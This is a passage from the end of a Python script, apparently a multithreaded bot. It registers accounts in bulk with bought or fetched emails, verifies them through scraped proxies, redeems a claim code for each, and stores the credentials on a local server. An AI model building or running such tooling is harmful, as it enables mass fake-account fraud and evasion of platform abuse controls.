| 524 | name = Register(mail,thread_id).register() 525 | 526 | if not verify_email(mail,password,name,thread_id): 527 | sprint(f"Flagged Or Bad Email / Proxy", thread_id, f"{Fore.RED}Failed To Get Verify Link") 528 | data_title['fails'] += 1 529 | continue 530 | 531 | Claim(mail,"NinjaAndxKian", name,thread_id).redeem() 532 | 533 | post("http://localhost:6969/addemail",json={'user': mail, 'pass': password}) 534 | data_title['finished'] += 1 535 | 536 | 537 | except Exception as e: 538 | sprint(f"Thread Crashed, Restarting.", thread_id, f"{Fore.RED}{e}") 539 | data_title['fails'] += 1 540 | continue 541 | 542 | 543 | if __name__ == "__main__": 544 | start = time() 545 | freeze_support() 546 | system("cls||clear") 547 | 548 | Thread(target=update_title, daemon=True).start() 549 | 550 | if config['scrape_proxy']: 551 | Thread(target=proxy_scraper, daemon=True).start() 552 | 553 | if not proxies: 554 | input(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Error -> {Fore.RED}No Proxies") 555 | exit() # Check Proxies.TXT 556 | 557 | if config['email_type'] == "api": 558 | main_check_key() 559 | Thread(target = fetch_api_balance, daemon=True).start() 560 | else: 561 | data_title['api_bal'] = "Not API" 562 | 563 | wait_for_server() 564 | 565 | if config['email_type'] == "api": 566 | print(f"Amount Of Emails To Buy At Once?") 567 | mail_buy_amount = int(input(">>> ")) 568 | 569 | system("cls||clear") 570 | 571 | print(f"Threads?") 572 | thread_count = int(input(">>> ")) 573 | 574 | Thread(target=get_mails, args= (str(0),)).start() 575 | 576 | system("cls||clear") 577 | 578 | for i in range(thread_count): 579 | Thread(target=main, args= (str(i+1),)).start() 580 | sleep(0.2) 581 | --------------------------------------------------------------------------------